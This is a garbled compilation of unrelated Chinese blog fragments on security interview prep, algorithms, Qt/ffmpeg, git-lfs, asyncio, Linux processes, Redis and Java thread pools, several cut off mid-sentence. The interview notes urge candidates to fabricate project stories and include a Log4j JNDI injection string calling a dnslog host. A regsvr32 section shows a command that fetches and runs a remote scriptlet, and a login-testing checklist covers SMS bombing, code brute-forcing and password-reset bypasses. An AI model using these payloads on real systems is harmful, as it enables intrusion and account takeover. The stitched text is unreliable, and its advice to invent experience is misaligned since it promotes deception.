项目经历
因为大家写的都是渗透相关,所以编故事也要编的圆润些,题材可以去freebuf看
https://search.freebuf.com/search/?search=%E6%8C%96%E6%B4%9E#article
这里主要记录如何挖洞的,实际项目也可以百度一下 看看别人故事咋编的
2、技术能力
大家底子应该都各不相同,在面试中可能会问到你们不懂的知识点,不要慌 可以迂回战术 ,大部分问题应该会围绕 应急 溯源 渗透(近一年比较火的漏洞)来问,也可能会问网络基础的一些东西
应急 溯源 就看下面试宝典中的 案例 或者百度一下 看看别人的思路 渗透的话 能捋清楚思路,结合上面的项目经历讲明白即可
也有可能会问些比较奇怪的问题,这个时候大方点承认 这块儿不太熟就行你平时是怎么挖漏洞的? 白盒测试: 就去找一些敏感文件和可能存在漏洞的关键函数什么的,有一个专门的代码审计手册,按照上面操作就行。比如说:很多人不注意的那个install文件,安装完成后不删除,会进行二次安装,还有一些sql注入的关键词:select、$_GET、$_POST、gbk啥的文件上传的关键词,$_FILES,csrf:token、reffer头、命令执行:shell_exec、system 文件包含:include、文件下载:file_get_contents、fopen、xss:echo、var_dump使用工具+人工方式进行挖掘黑盒的话: 以我的经验来看,只要是有输入的地方,就有可能存在漏洞,尤其是登录注册那块,是否存在暴力破解、sql注入、xss、不安全的验证码啥的第一步肯定是要进行信息收集,收集尽可能多的信息,方便挖掘漏洞,你可以使用谷歌、百度等搜索引擎,搜集敏感信息,尤其是robots.txt文件也可以借助工具去搜集信息,指纹识别工具,目录扫描工具去扫描,如果扫描出它是拿开源软件写的话,就可以去搜索对应的漏洞也可以用工具去扫描他开放了哪些端口、尤其是那些危险端口还有就是看它的文件上传的地方,是否存在文件上传漏洞,文件下载的地方,是否存在敏感信息泄露,个人中心是否存在逻辑漏洞,还有那些交易的页面,购物车页面测试是否存在逻辑漏洞一般来说的话,我会采用工具+人工的方式进行漏洞挖掘,漏洞最多的话还是弱口令、sql注入、反序列化、任意读取等应急这块了解吗: linux中毒嘛,按照他们的说法是第一步先来个断网,主要还是看用户啊,密码文件是否有多余账户,用whoami看当前的用户权限,top查看负载啊、资源占比情况,awk等命令过滤,用ps看下有哪些危险的进程,用chkconfig --list看下有没有可疑的服务,还有用crontab查看它有没有可疑的定时任务等,用history查看操作工哪些命令,netstat -antlp查看危险端口,runlevel 查看允许级别,cat /var/log/sevure 查看安全日志,有web站点的话,就用D盾、河马查杀等工具或者手工对关键函数、脚本木马关键词进行查杀windows的话也是一样的,查看有没有可疑的账号,服务器是否存在弱口令,用命令打开操作系统日志,查看管理员登录时间、用户名是否异常等等,再一个就是检查端口和进程,也是使用命令netstat -ano 查看端口连接状态,根据那个PID定位到进程,进行查杀,同样有web站点的话,我们可以使用D盾、火绒剑等工具进行查杀,主要是看那些危险进程,有没有签名、可疑的描述信息啥的,再一个就是检查它的服务、启动项、计划任务等,看它的安全日志里是不是有可疑操作,还有就是看他的操作系统是不是打了补丁,工具的话,可以使用360、卡巴斯基查杀病毒木马正规流程: 断网:防止进一步操作取证:分析登录日志、服务日志看有哪些操作备份:备份服务器文件,主要看它的修改时间和创建时间,对比文件前后的变化查漏:寻找业务薄弱点,修补漏洞杀毒:清除后门、webshell、管理账号等溯源:摸清黑客IP地址,入侵手段等记录:归档、预防溯源怎么做? 其实就是渗透的反向过程攻击ip的定位,高精度ip定位网站去查,ID追踪手段,社工库匹配,威胁情报库匹配,看他留下的痕迹,有手机号,邮箱的话,就去查它相关的注册信息查看有没有恶意程序:比如说pdf、doc、exe等,使用恶意程序分析网站,比如微步在线等去查业务功能的有没有留下痕迹,定位到ip,看它近期的操作等Apache log4j2漏洞了解吗? 就是存在JNDI注入漏洞嘛,当程序将用户输入的日志被记录时,即可触发此漏洞,${jndi:ladp://z2xcu7.dnslog.cn/exp},成功利用此漏洞可以在目标服务器上执行任意远程代码。可以利用DNSlog生成临时域名查看测试是否有效。反序列化了解吗? 就是字符串转化为对象的过程。对与php来说,就是那两个函数的,serialize、unserralize,处理对象、魔术函数的时候导致,当他的参数可控时,用户精心构造的payload就会触发里边的魔术方法,造成危害。java的话就找ObjectInputStrem.readObject()这个方法,检测readObject()方法调用时判断其对象是否为java.io.ObjectOutputStream。如果此时ObjectInputStream对象的初始化参数来自外部请求输入参数则基本可以确定存在反序列化漏洞了。黑盒测试的话就调用ysoserial并依次生成各个第三方库利用payload,该payload构造为访问特定url链接,根据http访问请求记录判断反序列化是否成功利用。安全加固: 禁用不必要的网络服务 更换设备禁用该服务利用深层防御机制补救修改不安全的配置 安全设备出厂时,默认会有一个管理员账户,配置一些口令,需要修改利用最小权限(Least-Privilege)原则严格对设备的访问控制 需要访问设备的人才能被允许进行设备访问,安全设备做得更好及时对系统进行软件升级 主动寻找这方面的知识和软件更新,获取像原设备厂商、CCERT、FIRST这类机构的帮助,及时对存在已知安全问题的系统进行升级。提供符合IPP要求的物理保护环境 理论上讲,只要从物理上能接近设备,设备的安全性就无从谈起,因为此时我们常提到的安全服务,如访问控制、鉴别服务等就不能起到保护作用。物理的改变设备上的一些硬件开关就可以重置管理员口令字或恢复出厂设置.云安全: 由云计算衍生而来,主要保障云自身及云上各种应用的安全,包括云计算平台系统安全,用户数据安全存储和隔离、用户接入认证、信息传输安全、网络攻击防护、合规审计等。企业将计算资源、应用放到云上,自然涉及到对云的安全需求,云计算共享架构下,应用和数据安全保障技术,典型的就是抗ddos,完整的云计算安全体系,涵盖物理安全、主机安全、数据安全、网络安全、应用安全,利用云计算、大数据或者人工智能技术,能够对收集海量的样本进行分析,从而对攻击进行更精准的预测和打击。业务放到云上,坏处是数据/应用与攻击的接触面增大,包括基础设施资源共享、网络传输,好处是云端技术先进、完善,有专业的团队随时进行维护升级。主要目的就是一个实时识别、分析、预警安全威胁的统一安全管理系统,通过防勒索、防病毒、防篡改、镜像安全扫描、合规检查等安全能力,实现威胁检测、响应、溯源的自动化安全运营闭环,保护云上资产和本地服务器并满足监管合规要求。云安全的基线检查:包括弱口令、高危风险利用、最佳安全实践、容器安全、等保合规、自定义基线。谈谈你做的项目: 结合客户目前网络安全防护的现状,从技术、管理、人员三大维度对客户 的信息安全防护能力进行全面提升,将信息安全工作进行常态化的巡视,提升全体员 工的信息安全防护意识,加大对突发信息安全事件的应急响应能力,确保网络与信息 系统的安全运行,降低业务系统信息安全风险,保障业务系统的持续、稳定运行,提 升整体信息安全防护水平。 具体工作:负责参与安全服务项目方案设计;根据项目约定为客户提供各种安全服务, 如安全巡检、漏洞扫描、渗透测试、应急响应等;负责项目开展实施过程中协调和管 控,确保项目按进度完成;负责项目交付材料汇总和验证;基线检查: 就是系统最低安全要求的配置,针对操作系统和服务(数据库、服务器软件、中间件等)的弱口令、账号权限、身份鉴别、密码策略、访问控制、安全审计和入侵防范等安全配置,并提供检测结果,针对存在的风险配置给出加固建议,常见的标准有ISO270001、等级保护2.0等,主机安全检查包括WINDOWS、LINUX、AIX、HP-UNIX、SOLARIS,数据库安全检查包括MSSQL、ORACLE、SYBASE等,中间件安全检查包括IIS、APACHE、WEBLOGIC、JBOSS等,网络/安全设备检查包括防火墙、路由器、交换机等,检查的内容有安全漏洞:漏洞通常是由于软件或协议等系统自身存在缺陷引起的安全风险,如系统登录漏洞、拒绝服务漏洞、缓冲区溢出、信息泄漏、蠕虫后门、恶意代码执行等,反映了系统自身的安全脆弱性;安全配置:通常都是由于人为的疏忽造成,主要包括了账号、口令、授权、日志、IP协议等方面的配置要求,配置不当导致系统存在安全风险;系统状态:包含系统端口状态、进程、账号、服务以及重要文件变化的监控。有意思的溯源事件: 有一天我们公司或客户反应公司门户网站打开之后会弹赌博和色情网页,接到用户反 应之后,我通过自己的电脑打开公司门户网站并没有发现弹赌博和色情网页,后来通过手 机访问发现果然一打开就会弹赌博和色情网页,后面我通过以下方法进行一步一步排查: 1、 打开 burp 设置手机代理抓包发现网站首页返回包里面有一串代码,访问 xx.js 文件里面还包含了一串 xx.js 文件,打开包含的 js 文件发现里面有弹出来的色情赌博网站。 2、 我立马登录服务器通过 netstat –anplt、ps aux、chkconfig –list 查看当前服务器连 接、进程、服务等并没有发现异常; 3、 访问开机启动配置文件/etc/rc.
问题描述: 有一个n*n的棋盘,在这个棋盘中放n个皇后,使得这n个皇后,任意两个皇后不在同一行,同一列,同一条对角线。例如,当n等于4时,有两种摆法。
输入只有一个整数n。
思路 如果我们是从这个n*n的棋盘中选取n个方格放皇后,再去判断是否满足条件的话,则效率会非常低,这是一个组合数 ∁ \complement ∁ n n ∗ n n \atop n*n n∗nn,当n等于8时,就要枚举54502232次
方法一:递归暴力法 做这个题之前,我们回想一下字符串全排列,这个和它相似,可以枚举每一行的列数,枚举完一个棋盘后,判断任意两个皇后是否在同一条线上,例如上面的摆法1(2413).这个方法的复杂度为n!
代码 #include<stdio.h> #include<math.h> int rank[15];//pos列i行 bool vis[15];//标记第i行是否走过 int n,cnt=0; void dfs(int pos){ if(pos==n+1){ bool flag=true; for(int i=1;i<=n;i++){ bool flag2=true; for(int j=i+1;j<=n;j++){//枚举任意两个皇后 if(abs(i-j)==abs(rank[i]-rank[j])){//两个皇后处于一条对角线 flag=false; flag2=false; break; } } if(flag2==false) break;//如果一个填满情况对角线有两个或以上,则直接跳出循环 } if(flag) cnt++; return; } for(int i=1;i<=n;i++){//枚举每一行 if(vis[i]==false){//第i行没走过 rank[pos]=i;//pos列在i行 vis[i]=true; dfs(pos+1);//递归下一列 vis[i]=false; } } } int main(){ scanf("%d",&n); dfs(1);//从第一列开始枚举 printf("%d",cnt); return 0; } 方法二:递归回溯法 上面的方法一是当形成一个n*n的棋盘时,才去判断是否满足条件。
#ifndef FFMPEG_GET_IMAGE_RUNNABLE_H #define FFMPEG_GET_IMAGE_RUNNABLE_H #include <QObject> #include <QString> #include <QPixmap> #include <QMutex> class ffmpeg_get_image_worker : public QObject { Q_OBJECT public: ffmpeg_get_image_worker(); ~ffmpeg_get_image_worker(); void doWork(); void stopWork(); void clear(); const QPixmap *getPixmap() const; QString getStateString(); void setVideoPath(const QString &value); bool getIsRunning() const; static int getRunningWorker(); QString getVideoPath() const; signals: void sendPixmap(const QPixmap &); void finished(); private: enum class workerStateType { noPlay, playing, getStreamImageFailed, videoPathIsEmpty, openStreamFailed, readStreamFailed, noFildVideoStream, noFildCodec, openCodecFailed }; bool isRunning{false}; QString videoPath; QPixmap pixmap; workerStateType workerState{workerStateType::noPlay}; QMutex mutex; struct AVFormatContext * pFormatCtx{nullptr}; struct AVCodecContext * pCodecCtx{nullptr}; struct SwsContext *img_convert_ctx{nullptr}; struct AVFrame * pFrame{nullptr}; struct AVFrame * pFrameRGB{nullptr}; struct AVPacket * packet{nullptr}; struct AVDictionary *options{nullptr}; static int runningWorker; }; #endif // FFMPEG_GET_IMAGE_RUNNABLE_H #include "
众所周知,DLL文件是不能独自运行的,需要被进程加载到其地址空间后才能执行。
那怎么运行一个DLL呢?
答案:可以借助Windows所提供的rundll32.exe或regsvr32.exe。
rundll32.exe 通过rundll32.exe可以直接调用DLL的导出函数来执行功能。
命令行:rundll32.exe DllName,FuncName [Arguments]
但被指定的导出函数有格式要求,导出函数的格式如下,函数参数列表中的pCommand就是通过[Arguments]传入的。
void WINAPI FuncName(HWND hWnd, HINSTANCE hInst, LPCWSTR pCommand, DWORD nCmdShow); 执行流程 其内部通过LoadLibraryEx来加载该DLL,然后通过GetProcAddress来获取导出函数地址并调用,当该导出函数返回时,rundll32会通过FreeLibrary卸载该DLL并通过ExitProcess退出进程。
看着是不是很简单,确实很简单,但涉及到了两个失败。
LoadLibraryEx失败:
GetLastError获得失败原因,然后MessageBox错误弹窗,最后ExitProcess退出进程。
GetProcAddress失败:
MessageBox错误弹窗,然后FreeLibrary卸载DLL,最后ExitProcess退出进程。
注意:MessageBox是有阻塞线程的作用的,关闭弹窗才能继续往下执行。
调试实例 以rundll32.exe "C:\\testDll.dll",DllMain为例,看一下rundll32.exe的执行流程:
通过LoadLibraryEx加载该DLL,此时会调用DllMain,且第二参数是DLL_PROCESS_ATTACH。
通过GetProcAddress获得指定的导出函数地址。
获得DllMainW失败后,又获得了DllMainA的地址。
获得导出函数地址失败后,准备错误弹窗。
首先通过LoadStringW获得资源ID为400的字符串("%s 出错\n丢失条目: %s");
然后格式化弹窗字符串:
然后通过LoadStringW获得资源ID为0x402的字符串(“RunDLL”);
最后通过MessageBoxW弹窗。
弹窗后,如果不关闭对话框,线程会一直阻塞。点击确定后rundll32会通过FreeLibrary卸载该DLL。最后rundll32通过ExitProcess结束自身进程。 regsvr32.exe regsvr32.exe用于注册/卸载COM组件。
COM组件:Component Object Mode,是微软提出的一种软件开发技术。组件其实是一些小的二进制可执行程序,它们可以用于给应用程序、操作系统及其他组件提供服务。COM组件由 以DLL或EXE形式发布的可执行代码 组成。
组件DLL的导出函数列表通常会包含DllRegisterServer和DllUnregisterServer。
DllRegisterServer:注册组件,在注册表中登记该DLL;DllUnregisterServer:卸载组件,在注册表中取消该DLL的登记。 先来看一下官方给出的用法(在cmd里输入regsvr32.exe即可)。
看着有点迷糊,挨个来解释一下:
默认情况下:即regsvr32.exe xxx.dll,此时调用DllRegisterServer来注册该DLL。/u:Unregister,即调用DllUnregisterServer来卸载该DLL。/s:Silent,静默,即不显示任何消息框。/n:No(我猜的),不调用DllRegisterServer或DllUnregisterServer,/n必须和/i一起用。/i:command:有/u时,调用DllInstall(FALSE, [cmdline])来卸载该DLL;没有/u时,调用DllInstall(TRUE, [cmdline])来注册该DLL。 应用场景 可以用regsvr32.exe来运行Scriptlet脚本:regsvr32.exe /s /u /n /i:http://127.0.0.1/file.sct scrobj.dll
该命令会调用scrobj.dll的DllInstall(FALSE, "http://127.0.0.1/file.sct"),此时会去下载file.sct并执行;
而scrobj.dll也不会被登记到注册表中,因为指定了/u。
附上scrobj.dll的导出函数列表:
回归博客时代的第二个星期hhhh。
github单个文件超过50M入库会警告,超过100M会组织入库。因此上传的时候需要用到git-lfs
使用过程 1、首先安装lfs,然后开启lfs功能
Git Bash 输入 git lfs install
2、 切换到你上传文件的文件夹路径:
cd E:github_code/DuetDis
3. 初始化仓库:git init
4. 设置追踪你想要上传的大文件(可以指定多个):
git lfs track "*.npz",这里我追踪的时候总是匹配不上,因此我后来直接指定文件:
git lfs track "xx/xx/xx.npz"
5.上传你的追踪文件
git add .gitattributes 注意如果追踪成功是无信息的,像我之前出现这种,说明没有追踪成功
6.后面就是常见操作了:
git add . git commit -m "add filxxx" git push origin master 7.出现上传界面表示成功。恭喜恭喜! 可能遇到问题 1. Failed to connect to github.com port 443: Timed out。可以看看能否网页打开github界面,并且不要忘记关闭自己的翻墙vpn。如果不能打开请参考别人的配置你的host文件,检测一下host是否有问题。
2.Remote “origin” does not support the LFS locking API. Consider disabling it with:
全栈工程师开发手册 (作者:栾鹏)
架构系列文章
注意: python的异步返回有时是通过异常expection向上冒泡的, 在异步函数中使用try catch有时无法捕获某些异常的, 异常会作为返回结果直接返回给上一层
很多朋友对异步编程都处于“听说很强大”的认知状态。鲜有在生产项目中使用它。而使用它的同学,则大多数都停留在知道如何使用 Tornado、Twisted、Gevent 这类异步框架上,出现各种古怪的问题难以解决。而且使用了异步框架的部分同学,由于用法不对,感觉它并没牛逼到哪里去,所以很多同学做 Web 后端服务时还是采用 Flask、Django等传统的非异步框架。
从上两届 PyCon 技术大会看来,异步编程已经成了 Python 生态下一阶段的主旋律。如新兴的 Go、Rust、Elixir 等编程语言都将其支持异步和高并发作为主要“卖点”,技术变化趋势如此。Python 生态为不落人后,从2013年起由 Python 之父 Guido 亲自操刀主持了Tulip(asyncio)项目的开发。
异步io的好处在于避免的线程的开销和切换,而且我们都知道python其实是没有多线程的,只是通过底层线层锁实现的多线程。另一个好处在于避免io操作(包含网络传输)的堵塞时间。
asyncio可以实现单线程并发IO操作。如果仅用在客户端,发挥的威力不大。如果把asyncio用在服务器端,例如Web服务器,由于HTTP连接就是IO操作,因此可以用单线程+coroutine实现多用户的高并发支持。
asyncio实现了TCP、UDP、SSL等协议,aiohttp则是基于asyncio实现的HTTP框架。
对于异步io你需要知道的重点,要注意的是,await语法只能出现在通过async修饰的函数中,否则会报SyntaxError错误。而且await后面的对象需要是一个Awaitable,或者实现了相关的协议。
注意:
所有需要异步执行的函数,都需要asyncio中的轮训器去轮训执行,如果函数阻塞,轮训器就会去执行下一个函数。所以所有需要异步执行的函数都需要加入到这个轮训器中。
asyncio demo:
import requests import time import asyncio # 创建一个异步函数 async def task_func(): await asyncio.sleep(1) resp = requests.get('http://192.168.2.177:5002/') print('2222222',time.time(),resp.text) async def main(loop): loop=asyncio.get_event_loop() # 获取全局轮训器 task = loop.create_task(task_func()) # 在全局轮训器加入协成,只有加入全局轮训器才能被监督执行 await asyncio.sleep(2) # 等待两秒为了不要立即执行event_loop.close(),项目中event_loop应该是永不停歇的 print('11111111111',time.time()) event_loop = asyncio.
文章目录 孤儿进程僵尸进程如何避免僵尸进程的出现避免出现僵尸进程的优化处理 在本篇博客中进行孤儿进程和僵尸进程的代码示例中都涉及到了pause()函数和signal函数,signal函数主要功能是将信号与函数指针绑定在一起,当进程执行到pause时,如果接受到该信号就会执行相对应的signal函数中绑定的相关代码,如果没有接受到该信号,就不会执行。如果想要了解更多关于pause的知识,可以查看这篇博文:linux系统编程:暂停函数pause
接下来让我们学习孤儿进程和僵尸进程的相关知识。
孤儿进程 当父进程退出后,子进程还没有结束时,这时的子进程我们称之为孤儿进程。系统会将孤儿进程挂在最早的进程或它的祖父进程上,这种进程没有危害,不会造成资源泄漏。
下文中我们给出的代码就生成了一个孤儿进程,其中涉及到关于fork函数的知识,我们可以直接简单理解为该函数可以创建一个子进程,该函数在父进程中的返回值为1,在子进程中的返回值为0。所以父进程在获取pid之后执行最后一个cout语句就会退出,但子进程会进入if执行pause暂停运行。所以该子进程就会成为一个孤儿进程。
关于fork的具体知识,可以看这篇博文:linux系统编程:分叉函数fork
具体代码如下:
#include <iostream> #include <signal.h> // 关于信号的头文件 #include <unistd.h> #include <wait.h> using namespace std; int main(){ signal(SIGINT,[](int sig){cout << "over pause" << endl;}); pid_t id = fork(); if(id == 0){ cout << getpid() << ":before pause" << endl; pause(); cout << getpid() << ":after pause" << endl; } cout << getpid() << ":exit" << endl; } 执行结果如下:
使用ps -ef查询进程具体信息,找到子进程16532的相关信息如下:
该子进程的父进程已经不是16531,而是2308。我们可以使用kill 16532杀死该进程。
引言 昨天在使用Winedt的时候,一直用的好好的,但是今天早上编译运行后能够正常出pdf却无法双击返回查看源码了,查了很多原因终于知道了问题所在。我把双击返回和单击查看的配置步骤重温一遍,并且附上我出错的原因,希望大家也能避坑。
配置步骤 (1)配置PDF Viewer,在菜单栏选Options -> Execution Modes ->PDF Viewer -> 点击右侧的“Browse”按钮,在弹出窗口中选择SumatraPDF程序的路 径,“xxxxx\SumatraPDFPortable\App\sumatrapdf\SumatraPDF.exe”,一定要SumatraPDF.exe 文件才行!xxxxx是你机器上的路径。注意到PDF Viewer窗口下方的“Use – synctex ……”前的选项一定要打勾。
如果上面的选项中"–synctex=1"就会出现编译后按钮"PDF search"是灰色的,
(2) SumatraPDF软件中,设置–选项–请输入双击PDF文档时的命令行调用: 输入 “xxxxxx\WinEdt\WinEdt.exe” “[Open(|%f|);SelPar(%l,8)]” 第一个引号里面 是你的 WinEdt.exe 的文件路径。
(3)在菜单栏选Options -> Execution Modes -> Console Applications ->在左侧面板 Accessories 中选择PDFLaTeX 项,然后在中间的 Process Flow 窗口勾选 Start Viewer 以及之下的 Forward Serach 这两个选项。保存即可。
(4)不能互联的情形。如果在上述配置好后还是不能互联,查看winedt底部状态栏,看这个‘-src’是不是不小心被点掉了,单击这个位置恢复即可修复互联功能。
该算法相较于其他直线绘制算法摆脱了直线方程式的使用,通过换元的思想实现整数加法的迭代。
一.Bresenham算法
前提条件k∈[0,1],直线在x方向上每次增量为,在y方向上每次的增量为。通过一个变量d将y方向上的累计增量记录下来,当d大于1时,标记点m进1,并对变量d进行-1操作使得d的范围永远保持在[0,1]之间。并根据d的范围确定最终的y值,当时,则y保持不变;当时,y加1。
上述已经能够完成y值的判定,但是存在两个问题:k可能为浮点数、d每次需要同0.5这一浮点数比较大小。由于计算机计算整数的效率比浮点数速度快,因此要对上式进行优化改进,主要通过两步换元。
1.令
此次换元将d同0.5浮点数的判断转变成了e与0的判断。但是出现了新的问题的初值为浮点数、e要同0.5比较来决定是否-1,以及一开始遗留的k可能为浮点数的问题
2.令(△x>0)
该换元的思想主要有两方面,一是乘2操作以消除0.5,二是将斜率k分解为△x和△y以便调整参数取整。此时Bresenham算法中已做到只对整数进行运算,完全消去了浮点数。
二.例题推导
A(0,0)、B(10,8)、斜率k=0.8,取△x=5、△y=4
t-531-1-3531-1-35m00123345677y01223456678 三.直线算法总结
DDA:先求出斜率k,每进给△x=1,y方向加k,int(y+0.5)向下取整得出目标y值。缺点:k可能为浮点值,0.5为浮点值,涉及到浮点加法。
中点画线法:先求A、B值取整,不断迭代d点,根据d点值确定y值。
Bresenham:将k分解取整,m点为标记点,t决定是否+1确定y值。
这三类算法中,综合比较中点画线法具备整数加法运算同时控制数仅有1个,因此运算效率上最优。从直线画线法得到的启发:数值迭代思想、浮点数分解为整数思想
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using DG.Tweening;
public class Layer2 : MonoBehaviour
{
public static Layer2 instance;
#region 按钮
[Header(“返回一级界面”)]
public Button back_btn;
[Header(“展开列表”)]
public Button list_btn;
[Header(“关闭列表”)]
public Button close_list_btn;
[Header("播放模型动画")] public Button model_play_btn; [Header("暂停模型动画")] public Button model_stop_btn; [Header("播放、暂停模型动画按钮父物体")] public GameObject model_obj_btn; [Header("主键按钮")] public List<Button> MKey_btn; [Header("副键按钮")] public List<Button> AKey_btn; [Header("副键数目按钮")] public List<Button> listbtn_text; [Header("主键数目按钮")] public List<Button> listmainbtn_text; #endregion #region 物体 [Header("局部按钮")] public GameObject btns_obj; [Header("
SRC漏洞挖掘过程中遇到登录框时,总是感觉自己测试不完全,东一榔头西一棒子,想起什么来测什么。
感觉这样不太行,显得不专业,于是乎总结一下,在以后的测试过程中可以作为笔记提示。
以下按照顺序测试:
注册页面
注册页面批量注册
注册覆盖(重复注册他人账号)
短信邮件炸弹
手机验证码是否可爆破(老生常谈,Burpsuite抓包爆破四位验证码)
图片验证码是否可绕过(验证码缺失、验证码失效数据包重放、万能验证码0000、验证码空绕过、验证码前端获取(极少数情况))
登录页面
弱密码、无验证码爆破、万能密码(后台登录,用户登录次数限制)
手机验证码登录是否可以进行短信炸弹
url跳转漏洞(主要用来钓鱼,对于绕过和利用百度搜索已有大量文章,不赘述)
登录处是否可绕过(对于大多数没有cookie的网站)
用户名枚举(观察返回包提示或者返回包参数变化)
忘记密码
手机验证码是否可爆破
修改密码流程是否可跳过
任意用户密码重置
短信邮件炸弹
注册页面批量注册
这种网站注册页面,没有手机短信验证码,那么,我们可以考虑,是否可以批量注册呢?
对于批量注册的前提是:该页面处没有图形验证码或者图形验证码失效!该页面注册处没有图形验证码。
注册页面虽然需要输入姓名和身份证号,但是并未对姓名和身份证号去做核对,输入任意的姓名和身份证号即可。
测试过程:注册提交时Burpsuite抓包
先用正确的信息注册,记住注册成功时服务器返回的数据,知道注册成功是返回什么
然后使用刚才的数据包遍历修改手机号,账号等参数发送,观察回复的数据包状态
注册覆盖(重复注册他人账号)
对于注册页面覆盖注册是指原来用一个手机号已经注册了账号,但是由于漏洞,导致可以再利用该手机号进行注册,并且会将之前注册的记录覆盖!
当我们用已经注册了的账号准备再注册时,发现会提示该手机号码已经存在!
我们抓包,发现后端检测该手机号已经注册了的话,会返回 true。如果检测该手机号没注册的话,会返回false。
修改回传参数,达到重复注册目的。
短信邮件炸弹
其实这就是个限流的问题——也就是限制某个接口的时间窗口内的请求数。
很多项目都少不了给用户手机号或者邮箱账号发短信邮件之类的,但是很多发送短信都是借助于第三方接口来发送短信的,这样一来,发送的短信就是有限制的,收费的哦。如果系统做的不太好,有些小漏洞,被白帽子发现还好,要是被那些黑帽子发现了,少则几千,严重者可能导致公司倒闭啊。即使不被黑帽子攻击,有些恶意的用户也可能系统进行破坏。
此处推荐一篇文章
也可使用Burpsuite抓包爆破,西门吹雪大佬有过一个抓包给手机号后依次添加空格的实例
防范措施:
限制每个手机号的每日发送次数,超过次数则拒发送,提示超过当日次数。每个ip限制最大限制次数。超过次数则拒发送,提示超过ip当日发送最大次数。限制每个手机号发送的时间间隔,比如两分钟,没超过2分钟,不允许发送,提示操作频繁。发送短信增加图片验证码,服务端和输入验证码对比,不一致则拒绝发送。 登录处是否可绕过
不可靠的前端校验
还是会有许多的网站他们没有严格进行身份校验,他们往往是通过依靠帐号密码登陆后发送后回传的JSON数据来判断用户身份是否正确,这就暴露出了很大的漏洞,这种漏洞利用起来就相当的容易,往往只需要一个安全界的神器 BURP 就可以完成身份验证的绕过,在登录的时候输入正确的账户以及随意的密码,将报文拦截下来,然后选择 burp 里面的拦截返回包的功能,捕捉返回的状态码。
任意用户密码重置
几乎所有需要登录的网站都有一个忘记密码然后重置密码的功能,如果网站在密码重置功能处的代码不够严谨,将可能造成任意密码重置的逻辑漏洞。
1、 验证码失效,导致攻击者可以通过爆破其他用户手机验证码来实现任意用户密码重置
·2、验证码未绑定用户:也就是我们可以利用自己的手机号来进行成功验证手机验证码,然而在提交修改密码处提交其他人的手机号,来实现修改其他人的密码
·3、修改接收验证码的手机或邮箱:当我们修改密码时,输入正确的用户名,点击发送验证码,抓包,发现数据包中有该用户名对应的手机或者邮箱,我们将其修改为自己的手机或邮箱来接收验证码。输入我们收到的验证码,即可实现对该用户的密码进行重置。(这里还存在一个信息泄露,即知道用户名就能知道该用户对于的手机或邮箱)
·4、跳过验证步骤:网站对修改密码的步骤,没有做校验,导致可以直接输入最终修改密码的链接,直接跳转到该页面,然后输入新密码达到重置密码的目的。首先使用我们自己的账号走一次流程,获取每个步骤的页面链接,然后记录页面3对应的输入新密码的链接,重置他人用户时,获取验证码后,直接输入密码修改页面链接到新密码的界面,输入密码重置成功。
5、 cookie值的替换:重置密码走到最后一步的时候仅判断唯一的用户标识cookie,并没有判断该cookie有没有通过之前重置密码过程的验证,导致可替换cookie重置他人用户密码。重置自己用户密码到达最后阶段,抓到数据包,并在第一阶段重新获取其他用户cookie,替换cookie到我们抓取的数据包中,发包测试。
个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
独学而无友,则孤陋而寡闻,开源、分享、白嫖!
参考至:https://www.cnblogs.com/qiuzhiyu/p/12530698.html
如果我们想逻辑性的一起执行多条指令,在执行过程不被别的请求打断,那么Redis提供了Lua脚本,Redis服务器会单线程原子性执行lua脚本,保证了在执行过程中不会被其他请求打断。
通过Lua脚本执行多个指令 if redis.call("get",KEYS[1]) == ARGV[1] then
return redis.call("del",KEYS[1])
else
return 0
end
解析:如果通过key获取的数据与第一个入参相等,则将该key删除,并且返回,否则返回0。
将上面的脚本转换成Redis可以识别的格式,采用EVAL指令,如下
127.0.0.1:6379> set name dog
OK
127.0.0.1:6379> eval 'if redis.call("get",KEYS[1]) == ARGV[1] then return redis.call("del",KEYS[1]) else return 0 end' 1 name dog
(integer) 1
127.0.0.1:6379> eval 'if redis.call("get",KEYS[1]) == ARGV[1] then return redis.call("del",KEYS[1]) else return 0 end' 1 name dog
(integer) 0
解析:第二次执行返回0的原因是第一次已经把它删除了。
例如Redission中实现分布式锁就是利用执行Lua脚本,所以保证了设置key+过期时间 原子性,如下所示:
"if (redis.call('exists', KEYS[1]) == 0) then " + "redis.call('hset', KEYS[1], ARGV[2], 1); "
内部 IP 地址泄露 漏洞描述 RFC 1918 规定了保留给私人网络使用的IP地址范围,这些地址不能在公共互联网上进行路由传输。虽然攻击者可以通过各种方法确定一个组织使用的公网IP地址,但内部使用的私有地址通常不能用同样的方法确定。
漏洞影响 发现组织内部使用的私有地址,可以帮助攻击者进行旨在渗透组织内部基础设施的网络层攻击。
修复建议 通常情况下,没有任何理由披露一个组织基础设施内使用的内部IP地址。
如果这些地址是在服务横幅或调试消息中返回的,那么相关的服务应该被配置为屏蔽私人地址。
如果它们被用于跟踪后端服务器以达到负载平衡的目的,那么地址应该用无害的标识符重写,使得攻击者无法从中推断出任何有关基础设施的有用信息。
注意根据实际情况调整。
在Web服务器上发现不必要的文件 漏洞描述 发现服务器上存在一些和系统正常运行无关的文件,这些文件可能包含一些敏感信息,这类文件包括但不限于备份文件、库文件、归档文件、数据库导入/导出文件。
漏洞影响 可能造成敏感信息的泄露,攻击者可借此发起更加具有针对性的攻击。
修复建议 建议删除这类不必要的文件,或将其移动到 Web 目录以外的路径进行存储,确保攻击者不能够获取到这类文件。
相关文章目录:
Java线程池ThreadPoolExecutor使用和分析(一)
Java线程池ThreadPoolExecutor使用和分析(二) - execute()原理
Java线程池ThreadPoolExecutor使用和分析(三) - 终止线程池原理
线程池是可以控制线程创建、释放,并通过某种策略尝试复用线程去执行任务的一种管理框架,从而实现线程资源与任务之间的一种平衡。
以下分析基于 JDK1.7
以下是本文的目录大纲:
一、线程池架构
1、Executor接口
2、ExecutorService接口
3、ScheduledExecutorService接口
二、ThreadPoolExecutor
1、ThreadPoolExecutor构造参数
2、ThreadPoolExecutor线程池执行流程
三、Executors静态工厂创建几种常用线程池
一、线程池架构
概括一下:
Executor是最基础的执行接口;
ExecutorService接口继承了Executor,在其上做了一些shutdown()、submit()的扩展,可以说是真正的线程池接口;
AbstractExecutorService抽象类实现了ExecutorService接口中的大部分方法;
TheadPoolExecutor继承了AbstractExecutorService,是线程池的具体实现;
